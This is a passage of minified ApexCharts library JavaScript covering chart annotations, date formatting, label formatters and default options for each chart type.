0===x?".apexcharts-annotations":x,v=t.paddingLeft,m=void 0===v?4:v,y=t.paddingRight,w=void 0===y?4:y,k=t.paddingBottom,A=void 0===k?2:k,S=t.paddingTop,C=void 0===S?2:S,L=this.w,P=this.graphics.drawText({x:i,y:a,text:s,textAnchor:r||"start",fontSize:n||"12px",fontWeight:h||"regular",fontFamily:l||L.config.chart.fontFamily,foreColor:o||L.config.chart.foreColor,cssClass:c}),I=L.globals.dom.baseEl.querySelector(b);I&&I.appendChild(P.node);var T=P.bbox();if(s){var M=this.graphics.drawRect(T.x-m,T.y-C,T.width+m+w,T.height+A+C,p,d||"transparent",1,g,f,u);I.insertBefore(M.node,P.node)}}},{key:"addImage",value:function(t,e){var i=this.w,a=t.path,s=t.x,r=void 0===s?0:s,o=t.y,n=void 0===o?0:o,l=t.width,h=void 0===l?20:l,c=t.height,d=void 0===c?20:c,g=t.appendTo,u=void 0===g?".apexcharts-annotations":g,p=i.globals.dom.Paper.image(a);p.size(h,d).move(r,n);var f=i.globals.dom.baseEl.querySelector(u);return f&&f.appendChild(p.node),p}},{key:"addXaxisAnnotationExternal",value:function(t,e,i){return this.addAnnotationExternal({params:t,pushToMemory:e,context:i,type:"xaxis",contextMethod:i.addXaxisAnnotation}),i}},{key:"addYaxisAnnotationExternal",value:function(t,e,i){return this.addAnnotationExternal({params:t,pushToMemory:e,context:i,type:"yaxis",contextMethod:i.addYaxisAnnotation}),i}},{key:"addPointAnnotationExternal",value:function(t,e,i){return void 0===this.invertAxis&&(this.invertAxis=i.w.globals.isBarHorizontal),this.addAnnotationExternal({params:t,pushToMemory:e,context:i,type:"point",contextMethod:i.addPointAnnotation}),i}},{key:"addAnnotationExternal",value:function(t){var e=t.params,i=t.pushToMemory,a=t.context,s=t.type,r=t.contextMethod,o=a,n=o.w,l=n.globals.dom.baseEl.querySelector(".apexcharts-".concat(s,"-annotations")),h=l.childNodes.length+1,c=new L,d=Object.assign({},"xaxis"===s?c.xAxisAnnotation:"yaxis"===s?c.yAxisAnnotation:c.pointAnnotation),g=x.extend(d,e);switch(s){case"xaxis":this.addXaxisAnnotation(g,l,h);break;case"yaxis":this.addYaxisAnnotation(g,l,h);break;case"point":this.addPointAnnotation(g,l,h)}var u=n.globals.dom.baseEl.querySelector(".apexcharts-".concat(s,"-annotations .apexcharts-").concat(s,"-annotation-label[rel='").concat(h,"']")),p=this.helpers.addBackgroundToAnno(u,g);return p&&l.insertBefore(p.node,u),i&&n.globals.memory.methodsToExec.push({context:o,id:g.id?g.id:x.randomId(),method:r,label:"addAnnotation",params:e}),a}},{key:"clearAnnotations",value:function(t){var e=t.w,i=e.globals.dom.baseEl.querySelectorAll(".apexcharts-yaxis-annotations, .apexcharts-xaxis-annotations, .apexcharts-point-annotations");e.globals.memory.methodsToExec.map((function(t,i){"addText"!==t.label&&"addAnnotation"!==t.label||e.globals.memory.methodsToExec.splice(i,1)})),i=x.listToArray(i),Array.prototype.forEach.call(i,(function(t){for(;t.firstChild;)t.removeChild(t.firstChild)}))}},{key:"removeAnnotation",value:function(t,e){var i=t.w,a=i.globals.dom.baseEl.querySelectorAll(".".concat(e));a&&(i.globals.memory.methodsToExec.map((function(t,a){t.id===e&&i.globals.memory.methodsToExec.splice(a,1)})),Array.prototype.forEach.call(a,(function(t){t.parentElement.removeChild(t)})))}}]),t}(),I=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.months31=[1,3,5,7,8,10,12],this.months30=[2,4,6,9,11],this.daysCntOfYear=[0,31,59,90,120,151,181,212,243,273,304,334]}return r(t,[{key:"isValidDate",value:function(t){return!isNaN(this.parseDate(t))}},{key:"getTimeStamp",value:function(t){return Date.parse(t)?this.w.config.xaxis.labels.datetimeUTC?new Date(new Date(t).toISOString().substr(0,25)).getTime():new Date(t).getTime():t}},{key:"getDate",value:function(t){return this.w.config.xaxis.labels.datetimeUTC?new Date(new Date(t).toUTCString()):new Date(t)}},{key:"parseDate",value:function(t){var e=Date.parse(t);if(!isNaN(e))return this.getTimeStamp(t);var i=Date.parse(t.replace(/-/g,"/").replace(/[a-z]+/gi," "));return i=this.getTimeStamp(i)}},{key:"parseDateWithTimezone",value:function(t){return Date.parse(t.replace(/-/g,"/").replace(/[a-z]+/gi," "))}},{key:"formatDate",value:function(t,e){var i=this.w.globals.locale,a=this.w.config.xaxis.labels.datetimeUTC,s=["\0"].concat(u(i.months)),r=["\x01"].concat(u(i.shortMonths)),o=["\x02"].concat(u(i.days)),n=["\x03"].concat(u(i.shortDays));function l(t,e){var i=t+"";for(e=e||2;i.length<e;)i="0"+i;return i}var h=a?t.getUTCFullYear():t.getFullYear();e=(e=(e=e.replace(/(^|[^\\])yyyy+/g,"$1"+h)).replace(/(^|[^\\])yy/g,"$1"+h.toString().substr(2,2))).replace(/(^|[^\\])y/g,"$1"+h);var c=(a?t.getUTCMonth():t.getMonth())+1;e=(e=(e=(e=e.replace(/(^|[^\\])MMMM+/g,"$1"+s[0])).replace(/(^|[^\\])MMM/g,"$1"+r[0])).replace(/(^|[^\\])MM/g,"$1"+l(c))).replace(/(^|[^\\])M/g,"$1"+c);var d=a?t.getUTCDate():t.getDate();e=(e=(e=(e=e.replace(/(^|[^\\])dddd+/g,"$1"+o[0])).replace(/(^|[^\\])ddd/g,"$1"+n[0])).replace(/(^|[^\\])dd/g,"$1"+l(d))).replace(/(^|[^\\])d/g,"$1"+d);var g=a?t.getUTCHours():t.getHours(),p=g>12?g-12:0===g?12:g;e=(e=(e=(e=e.replace(/(^|[^\\])HH+/g,"$1"+l(g))).replace(/(^|[^\\])H/g,"$1"+g)).replace(/(^|[^\\])hh+/g,"$1"+l(p))).replace(/(^|[^\\])h/g,"$1"+p);var f=a?t.getUTCMinutes():t.getMinutes();e=(e=e.replace(/(^|[^\\])mm+/g,"$1"+l(f))).replace(/(^|[^\\])m/g,"$1"+f);var x=a?t.getUTCSeconds():t.getSeconds();e=(e=e.replace(/(^|[^\\])ss+/g,"$1"+l(x))).replace(/(^|[^\\])s/g,"$1"+x);var b=a?t.getUTCMilliseconds():t.getMilliseconds();e=e.replace(/(^|[^\\])fff+/g,"$1"+l(b,3)),b=Math.round(b/10),e=e.replace(/(^|[^\\])ff/g,"$1"+l(b)),b=Math.round(b/10);var v=g<12?"AM":"PM";e=(e=(e=e.replace(/(^|[^\\])f/g,"$1"+b)).replace(/(^|[^\\])TT+/g,"$1"+v)).replace(/(^|[^\\])T/g,"$1"+v.charAt(0));var m=v.toLowerCase();e=(e=e.replace(/(^|[^\\])tt+/g,"$1"+m)).replace(/(^|[^\\])t/g,"$1"+m.charAt(0));var y=-t.getTimezoneOffset(),w=a||!y?"Z":y>0?"+":"-";if(!a){var k=(y=Math.abs(y))%60;w+=l(Math.floor(y/60))+":"+l(k)}e=e.replace(/(^|[^\\])K/g,"$1"+w);var A=(a?t.getUTCDay():t.getDay())+1;return e=(e=(e=(e=(e=e.replace(new RegExp(o[0],"g"),o[A])).replace(new RegExp(n[0],"g"),n[A])).replace(new RegExp(s[0],"g"),s[c])).replace(new RegExp(r[0],"g"),r[c])).replace(/\\(.)/g,"$1")}},{key:"getTimeUnitsfromTimestamp",value:function(t,e,i){var a=this.w;void 0!==a.config.xaxis.min&&(t=a.config.xaxis.min),void 0!==a.config.xaxis.max&&(e=a.config.xaxis.max);var s=this.getDate(t),r=this.getDate(e),o=this.formatDate(s,"yyyy MM dd HH mm ss fff").split(" "),n=this.formatDate(r,"yyyy MM dd HH mm ss fff").split(" ");return{minMillisecond:parseInt(o[6],10),maxMillisecond:parseInt(n[6],10),minSecond:parseInt(o[5],10),maxSecond:parseInt(n[5],10),minMinute:parseInt(o[4],10),maxMinute:parseInt(n[4],10),minHour:parseInt(o[3],10),maxHour:parseInt(n[3],10),minDate:parseInt(o[2],10),maxDate:parseInt(n[2],10),minMonth:parseInt(o[1],10)-1,maxMonth:parseInt(n[1],10)-1,minYear:parseInt(o[0],10),maxYear:parseInt(n[0],10)}}},{key:"isLeapYear",value:function(t){return t%4==0&&t%100!=0||t%400==0}},{key:"calculcateLastDaysOfMonth",value:function(t,e,i){return this.determineDaysOfMonths(t,e)-i}},{key:"determineDaysOfYear",value:function(t){var e=365;return this.isLeapYear(t)&&(e=366),e}},{key:"determineRemainingDaysOfYear",value:function(t,e,i){var a=this.daysCntOfYear[e]+i;return e>1&&this.isLeapYear()&&a++,a}},{key:"determineDaysOfMonths",value:function(t,e){var i=30;switch(t=x.monthMod(t),!0){case this.months30.indexOf(t)>-1:2===t&&(i=this.isLeapYear(e)?29:28);break;case this.months31.indexOf(t)>-1:default:i=31}return i}}]),t}(),T=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.tooltipKeyFormat="dd MMM"}return r(t,[{key:"xLabelFormat",value:function(t,e,i,a){var s=this.w;if("datetime"===s.config.xaxis.type&&void 0===s.config.xaxis.labels.formatter&&void 0===s.config.tooltip.x.formatter){var r=new I(this.ctx);return r.formatDate(r.getDate(e),s.config.tooltip.x.format)}return t(e,i,a)}},{key:"defaultGeneralFormatter",value:function(t){return Array.isArray(t)?t.map((function(t){return t})):t}},{key:"defaultYFormatter",value:function(t,e,i){var a=this.w;return x.isNumber(t)&&(t=0!==a.globals.yValueDecimal?t.toFixed(void 0!==e.decimalsInFloat?e.decimalsInFloat:a.globals.yValueDecimal):a.globals.maxYArr[i]-a.globals.minYArr[i]<5?t.toFixed(1):t.toFixed(0)),t}},{key:"setLabelFormatters",value:function(){var t=this,e=this.w;return e.globals.xaxisTooltipFormatter=function(e){return t.defaultGeneralFormatter(e)},e.globals.ttKeyFormatter=function(e){return t.defaultGeneralFormatter(e)},e.globals.ttZFormatter=function(t){return t},e.globals.legendFormatter=function(e){return t.defaultGeneralFormatter(e)},void 0!==e.config.xaxis.labels.formatter?e.globals.xLabelFormatter=e.config.xaxis.labels.formatter:e.globals.xLabelFormatter=function(t){if(x.isNumber(t)){if(!e.config.xaxis.convertedCatToNumeric&&"numeric"===e.config.xaxis.type){if(x.isNumber(e.config.xaxis.decimalsInFloat))return t.toFixed(e.config.xaxis.decimalsInFloat);var i=e.globals.maxX-e.globals.minX;return i>0&&i<100?t.toFixed(1):t.toFixed(0)}if(e.globals.isBarHorizontal)if(e.globals.maxY-e.globals.minYArr<4)return t.toFixed(1);return t.toFixed(0)}return t},"function"==typeof e.config.tooltip.x.formatter?e.globals.ttKeyFormatter=e.config.tooltip.x.formatter:e.globals.ttKeyFormatter=e.globals.xLabelFormatter,"function"==typeof e.config.xaxis.tooltip.formatter&&(e.globals.xaxisTooltipFormatter=e.config.xaxis.tooltip.formatter),(Array.isArray(e.config.tooltip.y)||void 0!==e.config.tooltip.y.formatter)&&(e.globals.ttVal=e.config.tooltip.y),void 0!==e.config.tooltip.z.formatter&&(e.globals.ttZFormatter=e.config.tooltip.z.formatter),void 0!==e.config.legend.formatter&&(e.globals.legendFormatter=e.config.legend.formatter),e.config.yaxis.forEach((function(i,a){void 0!==i.labels.formatter?e.globals.yLabelFormatters[a]=i.labels.formatter:e.globals.yLabelFormatters[a]=function(s){return e.globals.xyCharts?Array.isArray(s)?s.map((function(e){return t.defaultYFormatter(e,i,a)})):t.defaultYFormatter(s,i,a):s}})),e.globals}},{key:"heatmapLabelFormatters",value:function(){var t=this.w;if("heatmap"===t.config.chart.type){t.globals.yAxisScale[0].result=t.globals.seriesNames.slice();var e=t.globals.seriesNames.reduce((function(t,e){return t.length>e.length?t:e}),0);t.globals.yAxisScale[0].niceMax=e,t.globals.yAxisScale[0].niceMin=e}}}]),t}(),M=function(t){var e,i=t.isTimeline,a=t.ctx,s=t.seriesIndex,r=t.dataPointIndex,o=t.y1,n=t.y2,l=t.w,h=l.globals.seriesRangeStart[s][r],c=l.globals.seriesRangeEnd[s][r],d=l.globals.labels[r],g=l.config.series[s].name?l.config.series[s].name:"",u=l.globals.ttKeyFormatter,p=l.config.tooltip.y.title.formatter,f={w:l,seriesIndex:s,dataPointIndex:r,start:h,end:c};("function"==typeof p&&(g=p(g,f)),null!==(e=l.config.series[s].data[r])&&void 0!==e&&e.x&&(d=l.config.series[s].data[r].x),i)||"datetime"===l.config.xaxis.type&&(d=new T(a).xLabelFormat(l.globals.ttKeyFormatter,d,d,{i:void 0,dateFormatter:new I(a).formatDate,w:l}));"function"==typeof u&&(d=u(d,f)),Number.isFinite(o)&&Number.isFinite(n)&&(h=o,c=n);var x="",b="",v=l.globals.colors[s];if(void 0===l.config.tooltip.x.formatter)if("datetime"===l.config.xaxis.type){var m=new I(a);x=m.formatDate(m.getDate(h),l.config.tooltip.x.format),b=m.formatDate(m.getDate(c),l.config.tooltip.x.format)}else x=h,b=c;else x=l.config.tooltip.x.formatter(h),b=l.config.tooltip.x.formatter(c);return{start:h,end:c,startVal:x,endVal:b,ylabel:d,color:v,seriesName:g}},X=function(t){var e=t.color,i=t.seriesName,a=t.ylabel,s=t.start,r=t.end,o=t.seriesIndex,n=t.dataPointIndex,l=t.ctx.tooltip.tooltipLabels.getFormatters(o);s=l.yLbFormatter(s),r=l.yLbFormatter(r);var h=l.yLbFormatter(t.w.globals.series[o][n]),c='<span class="value start-value">\n  '.concat(s,'\n  </span> <span class="separator">-</span> <span class="value end-value">\n  ').concat(r,"\n  </span>");return'<div class="apexcharts-tooltip-rangebar"><div> <span class="series-name" style="color: '+e+'">'+(i||"")+'</span></div><div> <span class="category">'+a+": </span> "+(t.w.globals.comboCharts?"rangeArea"===t.w.config.series[o].type||"rangeBar"===t.w.config.series[o].type?c:"<span>".concat(h,"</span>"):c)+" </div></div>"},z=function(){function t(e){a(this,t),this.opts=e}return r(t,[{key:"hideYAxis",value:function(){this.opts.yaxis[0].show=!1,this.opts.yaxis[0].title.text="",this.opts.yaxis[0].axisBorder.show=!1,this.opts.yaxis[0].axisTicks.show=!1,this.opts.yaxis[0].floating=!0}},{key:"line",value:function(){return{chart:{animations:{easing:"swing"}},dataLabels:{enabled:!1},stroke:{width:5,curve:"straight"},markers:{size:0,hover:{sizeOffset:6}},xaxis:{crosshairs:{width:1}}}}},{key:"sparkline",value:function(t){this.hideYAxis();return x.extend(t,{grid:{show:!1,padding:{left:0,right:0,top:0,bottom:0}},legend:{show:!1},xaxis:{labels:{show:!1},tooltip:{enabled:!1},axisBorder:{show:!1},axisTicks:{show:!1}},chart:{toolbar:{show:!1},zoom:{enabled:!1}},dataLabels:{enabled:!1}})}},{key:"bar",value:function(){return{chart:{stacked:!1,animations:{easing:"swing"}},plotOptions:{bar:{dataLabels:{position:"center"}}},dataLabels:{style:{colors:["#fff"]},background:{enabled:!1}},stroke:{width:0,lineCap:"round"},fill:{opacity:.85},legend:{markers:{shape:"square",radius:2,size:8}},tooltip:{shared:!1,intersect:!0},xaxis:{tooltip:{enabled:!1},tickPlacement:"between",crosshairs:{width:"barWidth",position:"back",fill:{type:"gradient"},dropShadow:{enabled:!1},stroke:{width:0}}}}}},{key:"funnel",value:function(){return this.hideYAxis(),e(e({},this.bar()),{},{chart:{animations:{easing:"linear",speed:800,animateGradually:{enabled:!1}}},plotOptions:{bar:{horizontal:!0,borderRadiusApplication:"around",borderRadius:0,dataLabels:{position:"center"}}},grid:{show:!1,padding:{left:0,right:0}},xaxis:{labels:{show:!1},tooltip:{enabled:!1},axisBorder:{show:!1},axisTicks:{show:!1}}})}},{key:"candlestick",value:function(){var t=this;return{stroke:{width:1,colors:["#333"]},fill:{opacity:1},dataLabels:{enabled:!1},tooltip:{shared:!0,custom:function(e){var i=e.seriesIndex,a=e.dataPointIndex,s=e.w;return t._getBoxTooltip(s,i,a,["Open","High","","Low","Close"],"candlestick")}},states:{active:{filter:{type:"none"}}},xaxis:{crosshairs:{width:1}}}}},{key:"boxPlot",value:function(){var t=this;return{chart:{animations:{dynamicAnimation:{enabled:!1}}},stroke:{width:1,colors:["#24292e"]},dataLabels:{enabled:!1},tooltip:{shared:!0,custom:function(e){var i=e.seriesIndex,a=e.dataPointIndex,s=e.w;return t._getBoxTooltip(s,i,a,["Minimum","Q1","Median","Q3","Maximum"],"boxPlot")}},markers:{size:5,strokeWidth:1,strokeColors:"#111"},xaxis:{crosshairs:{width:1}}}}},{key:"rangeBar",value:function(){return{chart:{animations:{animateGradually:!1}},stroke:{width:0,lineCap:"square"},plotOptions:{bar:{borderRadius:0,dataLabels:{position:"center"}}},dataLabels:{enabled:!1,formatter:function(t,e){e.ctx;var i=e.seriesIndex,a=e.dataPointIndex,s=e.w,r=function(){var t=s.globals.seriesRangeStart[i][a];return s.globals.seriesRangeEnd[i][a]-t};return s.globals.comboCharts?"rangeBar"===s.config.series[i].type||"rangeArea"===s.config.series[i].type?r():t:r()},background:{enabled:!1},style:{colors:["#fff"]}},markers:{size:10},tooltip:{shared:!1,followCursor:!0,custom:function(t){return t.w.config.plotOptions&&t.w.config.plotOptions.bar&&t.w.config.plotOptions.bar.horizontal?function(t){var i=M(e(e({},t),{},{isTimeline:!0})),a=i.color,s=i.seriesName,r=i.ylabel,o=i.startVal,n=i.endVal;return X(e(e({},t),{},{color:a,seriesName:s,ylabel:r,start:o,end:n}))}(t):function(t){var i=M(t),a=i.color,s=i.seriesName,r=i.ylabel,o=i.start,n=i.end;return X(e(e({},t),{},{color:a,seriesName:s,ylabel:r,start:o,end:n}))}(t)}},xaxis:{tickPlacement:"between",tooltip:{enabled:!1},crosshairs:{stroke:{width:0}}}}}},{key:"dumbbell",value:function(t){var e,i;return null!==(e=t.plotOptions.bar)&&void 0!==e&&e.barHeight||(t.plotOptions.bar.barHeight=2),null!==(i=t.plotOptions.bar)&&void 0!==i&&i.columnWidth||(t.plotOptions.bar.columnWidth=2),t}},{key:"area",value:function(){return{stroke:{width:4,fill:{type:"solid",gradient:{inverseColors:!1,shade:"light",type:"vertical",opacityFrom:.65,opacityTo:.5,stops:[0,100,100]}}},fill:{type:"gradient",gradient:{inverseColors:!1,shade:"light",type:"vertical",opacityFrom:.65,opacityTo:.5,stops:[0,100,100]}},markers:{size:0,hover:{sizeOffset:6}},tooltip:{followCursor:!1}}}},{key:"rangeArea",value:function(){return{stroke:{curve:"straight",width:0},fill:{type:"solid",opacity:.6},markers:{size:0},states:{hover:{filter:{type:"none"}},active:{filter:{type:"none"}}},tooltip:{intersect:!1,shared:!0,followCursor:!0,custom:function(t){return function(t){var i=M(t),a=i.color,s=i.seriesName,r=i.ylabel,o=i.start,n=i.end;return X(e(e({},t),{},{color:a,seriesName:s,ylabel:r,start:o,end:n}))}(t)}}}}},{key:"brush",value:function(t){return x.extend(t,{chart:{toolbar:{autoSelected:"selection",show:!1},zoom:{enabled:!1}},dataLabels:{enabled:!1},stroke:{width:1},tooltip:{enabled:!1},xaxis:{tooltip:{enabled:!1}}})}},{key:"stacked100",value:function(t){t.dataLabels=t.dataLabels||{},t.dataLabels.formatter=t.dataLabels.formatter||void 0;var e=t.dataLabels.formatter;return t.yaxis.forEach((function(e,i){t.yaxis[i].min=0,t.yaxis[i].max=100})),"bar"===t.chart.type&&(t.dataLabels.formatter=e||function(t){return"number"==typeof t&&t?t.toFixed(0)+"%":t}),t}},{key:"stackedBars",value:function(){var t=this.bar();return e(e({},t),{},{plotOptions:e(e({},t.plotOptions),{},{bar:e(e({},t.plotOptions.bar),{},{borderRadiusApplication:"end",borderRadiusWhenStacked:"last"})})})}},{key:"convertCatToNumeric",value:function(t){return t.xaxis.convertedCatToNumeric=!0,t}},{key:"convertCatToNumericXaxis",value:function(t,e,i){t.xaxis.type="numeric",t.xaxis.labels=t.xaxis.labels||{},t.xaxis.labels.formatter=t.xaxis.labels.formatter||function(t){return x.isNumber(t)?Math.floor(t):t};var a=t.xaxis.labels.formatter,s=t.xaxis.categories&&t.xaxis.categories.length?t.xaxis.categories:t.labels;return i&&i.length&&(s=i.map((function(t){return Array.isArray(t)?t:String(t)}))),s&&s.length&&(t.xaxis.labels.formatter=function(t){return x.isNumber(t)?a(s[Math.floor(t)-1]):a(t)}),t.xaxis.categories=[],t.labels=[],t.xaxis.tickAmount=t.xaxis.tickAmount||"dataPoints",t}},{key:"bubble",value:function(){return{dataLabels:{style:{colors:["#fff"]}},tooltip:{shared:!1,intersect:!0},xaxis:{crosshairs:{width:0}},fill:{type:"solid",gradient:{shade:"light",inverse:!0,shadeIntensity:.55,opacityFrom:.4,opacityTo:.8}}}}},{key:"scatter",value:function(){return{dataLabels:{enabled:!1},tooltip:{shared:!1,intersect:!0},markers:{size:6,strokeWidth:1,hover:{sizeOffset:2}}}}},{key:"heatmap",value:function(){return{chart:{stacked:!1},fill:{opacity:1},dataLabels:{style:{colors:["#fff"]}},stroke:{colors:["#fff"]},tooltip:{followCursor:!0,marker:{show:!1},x:{show:!1}},legend:{position:"top",markers:{shape:"square",size:10,offsetY:2}},grid:{padding:{right:20}}}}},{key:"treemap",value:function(){return{chart:{zoom:{enabled:!1}},dataLabels:{style:{fontSize:14,fontWeight:600,colors:["#fff"]}},stroke:{show:!0,width:2,colors:["#fff"]},legend:{show:!1},fill:{gradient:{stops:[0,100]}},tooltip:{followCursor:!0,x:{show:!1}},grid:{padding:{left:0,right:0}},xaxis:{crosshairs:{show:!1},tooltip:{enabled:!1}}}}},{key:"pie",value:function(){return{chart:{toolbar:{show:!1}},plotOptions:{pie:{donut:{labels:{show:!1}}}},dataLabels:{formatter:function(t){return t.toFixed(1)+"%"},style:{colors:["#fff"]},background:{enabled:!1},dropShadow:{enabled:!0}},stroke:{colors:["#fff"]},fill:{opacity:1,gradient:{shade:"light",stops:[0,100]}},tooltip:{theme:"dark",fillSeriesColor:!0},legend:{position:"right"}}}},{key:"donut",value:function(){return{chart:{toolbar:{show:!1}},dataLabels:{formatter:function(t){return t.toFixed(1)+"%"},style:{colors:["#fff"]},background:{enabled:!1},dropShadow:{enabled:!0}},stroke:{colors:["#fff"]},fill:{opacity:1,gradient:{shade:"light",shadeIntensity:.35,stops:[80,100],opacityFrom:1,opacityTo:1}},tooltip:{theme:"dark",fillSeriesColor:!0},legend:{position:"right"}}}},{key:"polarArea",value:function(){return this.opts.yaxis[0].tickAmount=this.opts.yaxis[0].tickAmount?this.opts.yaxis[0].tickAmount:6,{chart:{toolbar:{show:!1}},dataLabels:{formatter:function(t){return t.toFixed(1)+"%"},enabled:!1},stroke:{show:!0,width:2},fill:{opacity:.7},tooltip:{theme:"dark",fillSeriesColor:!0},legend:{position:"right"}}}},{key:"radar",value:function(){return this.opts.yaxis[0].labels.offsetY=this.opts.yaxis[0].labels.offsetY?this.opts.yaxis[0].labels.offsetY:6,{dataLabels:{enabled:!1,style:{fontSize:"11px"}},stroke:{width:2},markers:{size:3,strokeWidth:1,strokeOpacity:1},fill:{opacity:.2},tooltip:{shared:!1,intersect:!0,followCursor:!0},grid:{show:!1},xaxis:{labels:{formatter:function(t){return t},style:{colors:["#a8a8a8"],fontSize:"11px"}},tooltip:{enabled:!1},crosshairs:{show:!1}}}}},{key:"radialBar",value:function(){return{chart:{animations:{dynamicAnimation:{enabled:!0,speed:800}},toolbar:{show:!1}},fill:{gradient:{shade:"dark",shadeIntensity:.4,inverseColors:!1,type:"diagonal2",opacityFrom:1,opacityTo:1,stops:[70,98,100]}},legend:{show:!1,position:"right"},tooltip:{enabled:!1,fillSeriesColor:!0}}}},{key:"_getBoxTooltip",value:function(t,e,i,a,s){var r=t.globals.seriesCandleO[e][i],o=t.globals.seriesCandleH[e][i],n=t.globals.seriesCandleM[e][i],l=t.globals.seriesCandleL[e][i],h=t.globals.seriesCandleC[e][i];return t.config.series[e].type&&t.config.series[e].type!==s?'<div class="apexcharts-custom-tooltip">\n          '.concat(t.config.series[e].name?t.config.series[e].name:"series-"+(e+1),": <strong>").concat(t.globals.series[e][i],"</strong>\n        </div>"):'<div class="apexcharts-tooltip-box apexcharts-tooltip-'.concat(t.config.chart.type,'">')+"<div>".concat(a[0],': <span class="value">')+r+"</span></div>"+"<div>".concat(a[1],': <span class="value">')+o+"</span></div>"+(n?"<div>".concat(a[2],': <span class="value">')+n+"</span></div>":"")+"<div>".concat(a[3],': <span class="value">')+l+"</span></div>"+"<div>".concat(a[4],': <span class="value">')+h+"</span></div></div>"}}]),t}(),E=function(){function t(e){a(this,t),this.opts=e}return r(t,[{key:"init",value:function(t){var e=t.responsiveOverride,a=this.opts,s=new L,r=new z(a);this.chartType=a.chart.type,a=this.extendYAxis(a),a=this.extendAnnotations(a);var o=s.init(),n={};if(a&&"object"===i(a)){var l,h,c,d,g,u,p,f,b={};b=-1!==["line","area","bar","candlestick","boxPlot","rangeBar","rangeArea","bubble","scatter","heatmap","treemap","pie","polarArea","donut","radar","radialBar"].indexOf(a.chart.type)?r[a.chart.type]():r.line(),null!==(l=a.plotOptions)&&void 0!==l&&null!==(h=l.bar)&&void 0!==h&&h.isFunnel&&(b=r.funnel()),a.chart.stacked&&"bar"===a.chart.type&&(b=r.stackedBars()),null!==(c=a.chart.brush)&&void 0!==c&&c.enabled&&(b=r.brush(b)),a.chart.stacked&&"100%"===a.chart.stackType&&(a=r.stacked100(a)),null!==(d=a.plotOptions)&&void 0!==d&&null!==(g=d.bar)&&void 0!==g&&g.isDumbbell&&(a=r.dumbbell(a)),this.checkForDarkTheme(window.Apex),this.checkForDarkTheme(a),a.xaxis=a.xaxis||window.Apex.xaxis||{},e||(a.xaxis.convertedCatToNumeric=!1),(null!==(u=(a=this.checkForCatToNumericXAxis(this.chartType,b,a)).chart.sparkline)&&void 0!==u&&u.enabled||null!==(p=window.Apex.chart)&&void 0!==p&&null!==(f=p.sparkline)&&void 0!==f&&f.enabled)&&(b=r.sparkline(b)),n=x.extend(o,b)}var v=x.extend(n,window.Apex);return o=x.extend(v,a),o=this.handleUserInputErrors(o)}},{key:"checkForCatToNumericXAxis",value:function(t,e,i){var a,s,r=new z(i),o=("bar"===t||"boxPlot"===t)&&(null===(a=i.plotOptions)||void 0===a||null===(s=a.bar)||void 0===s?void 0:s.horizontal),n="pie"===t||"polarArea"===t||"donut"===t||"radar"===t||"radialBar"===t||"heatmap"===t,l="datetime"!==i.xaxis.type&&"numeric"!==i.xaxis.type,h=i.xaxis.tickPlacement?i.xaxis.tickPlacement:e.xaxis&&e.xaxis.tickPlacement;return o||n||!l||"between"===h||(i=r.convertCatToNumeric(i)),i}},{key:"extendYAxis",value:function(t,e){var i=new L;(void 0===t.yaxis||!t.yaxis||Array.isArray(t.yaxis)&&0===t.yaxis.length)&&(t.yaxis={}),t.yaxis.constructor!==Array&&window.Apex.yaxis&&window.Apex.yaxis.constructor!==Array&&(t.yaxis=x.extend(t.yaxis,window.Apex.yaxis)),t.yaxis.constructor!==Array?t.yaxis=[x.extend(i.yAxis,t.yaxis)]:t.yaxis=x.extendArray(t.yaxis,i.yAxis);var a=!1;t.yaxis.forEach((function(t){t.logarithmic&&(a=!0)}));var s=t.series;return e&&!s&&(s=e.config.series),a&&s.length!==t.yaxis.length&&s.length&&(t.yaxis=s.map((function(e,a){if(e.name||(s[a].name="series-".concat(a+1)),t.yaxis[a])return t.yaxis[a].seriesName=s[a].name,t.yaxis[a];var r=x.extend(i.yAxis,t.yaxis[0]);return r.show=!1,r}))),a&&s.length>1&&s.length!==t.yaxis.length&&console.warn("A multi-series logarithmic chart should have equal number of series and y-axes. Please make sure to equalize both."),t}},{key:"extendAnnotations",value:function(t){return void 0===t.annotations&&(t.annotations={},t.annotations.yaxis=[],t.annotations.xaxis=[],t.annotations.points=[]),t=this.extendYAxisAnnotations(t),t=this.extendXAxisAnnotations(t),t=this.extendPointAnnotations(t)}},{key:"extendYAxisAnnotations",value:function(t){var e=new L;return t.annotations.yaxis=x.extendArray(void 0!==t.annotations.yaxis?t.annotations.yaxis:[],e.yAxisAnnotation),t}},{key:"extendXAxisAnnotations",value:function(t){var e=new L;return t.annotations.xaxis=x.extendArray(void 0!==t.annotations.xaxis?t.annotations.xaxis:[],e.xAxisAnnotation),t}},{key:"extendPointAnnotations",value:function(t){var e=new L;return t.annotations.points=x.extendArray(void 0!==t.annotations.points?t.annotations.points:[],e.pointAnnotation),t}},{key:"checkForDarkTheme",value:function(t){t.theme&&"dark"===t.theme.mode&&(t.tooltip||(t.tooltip={}),"light"!==t.tooltip.theme&&(t.tooltip.theme="dark"),t.chart.foreColor||(t.chart.foreColor="#f6f7f8"),t.chart.background||(t.chart.background="#424242"),t.theme.palette||(t.theme.palette="palette4"))}},{key:"handleUserInputErrors",value:function(t){var e=t;if(e.tooltip.shared&&e.tooltip.intersect)throw new Error("tooltip.shared cannot be enabled when tooltip.intersect is true. Turn off any other option by setting it to false.");if("bar"===e.chart.type&&e.plotOptions.bar.horizontal){if(e.yaxis.length>1)throw new Error("Multiple Y Axis for bars are not supported. Switch to column chart by setting plotOptions.bar.horizontal=false");e.yaxis[0].reversed&&(e.yaxis[0].opposite=!0),e.xaxis.tooltip.enabled=!1,e.yaxis[0].tooltip.enabled=!1,e.chart.zoom.enabled=!1}return"bar"!==e.chart.type&&"rangeBar"!==e.chart.type||e.tooltip.shared&&"barWidth"===e.xaxis.crosshairs.width&&e.series.length>1&&(e.xaxis.crosshairs.width="tickWidth"),"candlestick"!==e.chart.type&&"boxPlot"!==e.chart.type||e.yaxis[0].reversed&&(console.warn("Reversed y-axis in ".concat(e.chart.type," chart is not supported.")),e.yaxis[0].reversed=!1),e}}]),t}(),Y=function(){function t(){a(this,t)}return 